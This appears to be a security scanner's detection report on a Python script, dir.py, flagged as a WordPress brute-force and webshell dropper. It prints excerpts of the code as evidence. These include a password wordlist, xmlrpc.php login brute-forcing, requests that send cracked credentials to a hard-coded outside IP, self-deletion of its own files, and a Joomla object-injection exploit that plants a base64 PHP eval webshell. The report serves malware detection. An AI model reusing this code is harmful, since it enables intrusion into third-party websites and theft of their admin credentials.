dir.py
WordPress brute-force and webshell dropper
URL has external IP and .php queryURL combines external IP and .php
SHA-25687d70b7a525b3997332dadf49869c825295efa91ce15f2327e3fc88288a5f70d
Evidence
1import urllib
2import re
3import urllib2
4import sys
5import base64
6
7# !/usr/bin/python
⋯11 lines
20:366… 88','88888888','987654321','999999','Admin','Admin1','Admin12','Admin123','Admin1234','Admin12345','Admin123456','Admin1234567','Admin12345678','Admin123456789','Angel','Pass','Pass123','Pass123456','Passwd','Password','a123456','a1234567','a123456789','a1b2c3','aaaaaaaa','abc123','abcabc','abcdef','admin','admin1','admin12','admin123','admin1234','admin12345','admin123456','admin1234567','admin12345678','admin123456789','admin888','angel','asd123','asdf1234','baseball','dragon','football','fuckyou','iloveyou','kissme','letmein','login','master','monkey','p@ssw0rd','p@ssword','pass','pass123','pass123456','passw0rd','passwd','password','princess','qazwsx','qti7Zxh18U','qwe123','qweasd','qwer1234','qwerty','qwertyui','qwertyuiop','root','root123','starwars','superman','system','test','test123','test123456','testtest','trustno1','web123','welcome','wordpress','www123']
21
22requrl = urllib2.Request('http://118.184.47.13:38080/mywww/tests/counter.txt')
23resurl_data = urllib2.urlopen(requrl)
24resurl = resurl_data.read()
25#downurl = 'http://118.184.47.13:38080/mywww/test/'+'all'+resurl.rstrip()+'.txt',
26f = urllib2.urlopen( 'http://118.184.47.13:38080/mywww/tests/'+'all'+resurl.rstrip()+'.txt')
27with open('all'+resurl.rstrip()+'.txt', 'wb') as code:
28 code.write(f.read())
29numurl = urllib2.Request('http://118.184.47.13:38080/mywww/tests/num.php')
30resurl_data = urllib2.urlopen(numurl)
31lines=open('all'+resurl.rstrip()+'.txt','r')
32for line in lines:
33 line=line.rstrip()
34 q.put(line)
35
36ip_list=['127.0.0.1','8.8.8.8','8.8.4.4','202.12.27.33','202.27.184.3','12.127.16.67','12.127.17.71','12.166.30.2','12.17.136.131','12.180.165.40','12.25.232.115','12.32.34.33','12.49.240.68','128.8.10.90','128.9.0.107','164.124.101.31','165.87.13.129','165.87.201.244','168.126.63.60','16 …
36:676… 37.132.5','66.33.206.206','66.33.216.216']
37header = {"referer":"http://www.google.com.hk",
38 "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36",
39 "X-Forwarded-For":"8.8.8.8"
40 }
41del_paths = [name for name in os.listdir('.') if name.endswith('.py') or name.endswith('.pyc')]
42for del_path in del_paths:
43 os.remove(del_path)
⋯9 lines
133:6… url=site + "/xmlrpc.php"
134
135 req=post(url,data)
136 #print req
137 if 'isAdmin' in req:
138 dataurls = "http://118.184.47.13:38080/mywww/data.php?name=pytestokpy700test2.txt&data=" + site + "/wp-login.php," + thisuser + "," + ppass
139 reqdatas = urllib2.Request(dataurls)
140 res_datas = urllib2.urlopen(reqdatas)
141 print site + " [+] username = " + thisuser + " password = " + ppass
142 dataurls1="http://118.184.47.13:38080/mywww/data.php?name=pytestokpyv2v700test2yanshijianyin5testkkkk.txt&data=" + site + "/wp-login.php," + thisuser +"," + ppass
143 reqdatas1 = urllib2.Request(dataurls1)
144 res_datas1 = urllib2.urlopen(reqdatas1)
145 return 1
146
⋯10 lines
157
158def joomlaexp(site):
159 code = "file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'))"
160 url = site + '?1=' + urllib.quote(
161 "@ini_set(\"display_errors\",\"0\");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';" + code + ";echo '|<-';")
162
163 c …
164:49… okieProcessor(cj))
165 urllib2.install_opener(opener)
166 urllib2.socket.setdefaulttimeout(26)
167
168 ua = '}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\x5C0\x5C0\x5C0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriv …